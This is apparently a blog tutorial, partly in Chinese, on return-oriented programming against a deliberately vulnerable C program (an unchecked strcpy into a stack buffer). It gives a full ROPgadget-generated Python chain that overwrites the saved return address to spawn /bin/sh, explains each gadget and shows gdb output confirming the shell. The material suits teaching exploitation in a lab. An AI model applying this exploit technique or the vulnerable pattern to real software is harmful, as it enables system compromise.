sample.c
#include <string.h> void function(char *a){ char buff[40]; strcpy(buff,a); } int main(int argc, char** argv){ if(argc>=2) function(argv[1]); }
$ gcc sample.c -o sample -static -g -fno-stack-protector $ ./ROPgadget.py --binary sample --ropchain and you will get the python code
Offset it to replace saved EIP
$ vim exploit.py
#!/usr/bin/env python2 # execve generated by ROPgadget from struct import pack # Padding goes here p = '' p += 'a'*52 p += pack('<I', 0x08056fba) # pop edx ; ret p += pack('<I', 0x080ef060) # @ .data p += pack('<I', 0x080c2156) # pop eax ; ret p += '/bin' p += pack('<I', 0x0808e77d) # mov dword ptr [edx], eax ; ret p += pack('<I', 0x08056fba) # pop edx ; ret p += pack('<I', 0x080ef064) # @ .data + 4 p += pack('<I', 0x080c2156) # pop eax ; ret p += '//sh' p += pack('<I', 0x0808e77d) # mov dword ptr [edx], eax ; ret p += pack('<I', 0x08056fba) # pop edx ; ret p += pack('<I', 0x080ef068) # @ .data + 8 p += pack('<I', 0x080513d0) # xor eax, eax ; ret p += pack('<I', 0x0808e77d) # mov dword ptr [edx], eax ; ret p += pack('<I', 0x080481ec) # pop ebx ; ret p += pack('<I', 0x080ef060) # @ .data p += pack('<I', 0x080e3a8e) # pop ecx ; ret p += pack('<I', 0x080ef068) # @ .data + 8 p += pack('<I', 0x08056fba) # pop edx ; ret p += pack('<I', 0x080ef068) # @ .data + 8 p += pack('<I', 0x080513d0) # xor eax, eax ; ret p += pack('<I', 0x0809a346) # inc eax ; ret p += pack('<I', 0x0809a346) # inc eax ; ret p += pack('<I', 0x0809a346) # inc eax ; ret p += pack('<I', 0x0809a346) # inc eax ; ret p += pack('<I', 0x0809a346) # inc eax ; ret p += pack('<I', 0x0809a346) # inc eax ; ret p += pack('<I', 0x0809a346) # inc eax ; ret p += pack('<I', 0x0809a346) # inc eax ; ret p += pack('<I', 0x0809a346) # inc eax ; ret p += pack('<I', 0x0809a346) # inc eax ; ret p += pack('<I', 0x0809a346) # inc eax ; ret p += pack('<I', 0x080493b9) # int 0x80 print p
目標是執行 execve ("/bin // sh", NULL, NULL) call int 0x80 時 eax = 0x0b //run execve syscall ebx = pointer to the string "/ bin / sh" ecx = 0x0 edx = 0x0 補充 ret會pop下一個stack的位置當return addr p += pack('<I', 0x08056fba) # pop edx ; ret p += pack('<I', 0x080ef060) # @ .data pop edx存data的位置 p += pack('<I', 0x080c2156) # pop eax ; ret p += '/bin' pop eax存"/bin" (大小32bits = 4bytes 存/bin剛好) p += pack('<I', 0x0808e77d) # mov dword ptr [edx], eax ; ret 把eax的值(/bin),寫入到edx(data)的位置 "/sh"也用一樣的方法,塞在data+4的位置 p += pack('<I', 0x080481ec) # pop ebx ; ret p += pack('<I', 0x080ef060) # @ .data 最後把ebx存入data的位置 也就是string "/bin/sh"的存放位置 大功告成!
$ gdb sample (gdb) set args "`./exploit.py`" (gdb) b 5 (gdb) r (gdb) i f Stack level 0, frame at 0xbffff260: eip = 0x8048ef8 in function (sample.c:5); saved eip 0x8056fba (gdb) c Continuing. process 3623 is executing new program: /bin/dash Error in re-setting breakpoint 1: No symbol table is loaded. Use the "file" command. $
download ROPgadget from:
http://shell-storm.org/project/ROPgadget/
reference:
http://www.ellaberintodefalken.com/2013/08/ROP-Return-Oriented-Programming.html
Advertisements